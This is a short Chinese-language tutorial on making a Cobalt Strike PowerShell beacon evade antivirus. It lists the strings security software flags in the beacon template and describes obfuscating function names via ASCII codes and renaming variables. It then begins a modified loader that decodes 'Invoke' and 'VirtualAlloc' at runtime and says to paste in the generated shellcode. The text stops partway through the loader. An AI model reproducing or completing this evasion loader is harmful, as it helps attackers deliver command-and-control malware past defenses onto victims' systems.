CS powershell马免杀

修改原理

1.杀软检测的几个点：

Invoke
VirtualAlloc
kernel32.dll
FormBase64String
System.dll
func_get_proc_address
func_get_delegate_type
$var_va
$var_buffer
$var_runme
$var_code
$x

2.bypass方法：

（1）函数名称
将上面过滤的函数名，ascii编码解码后再调用
（2）变量名
修改变量名

改版后代码
把cs生成powershell脚本的shellcode贴进去即可使用

(ps:CS生成powershell脚本）

点击generate后会在指定位置生成beacon.ps1
记事本打开beacon.ps1,shellcode部分如下图：

Set-StrictMode -Version 2

function asc{
   
	$ide="";
	for($calc=0;$calc -lt $arr.Count;$calc++){
   
		$ide=-Join($ide,[char]$arr[$calc]);
	}
	return $ide;
}

$ide=asc($arr=(73,110,118,111,107,101));
$vl=asc($arr=(86, 105, 114, 116, 117, 97, 108, 65, 108, 108, 111, 99))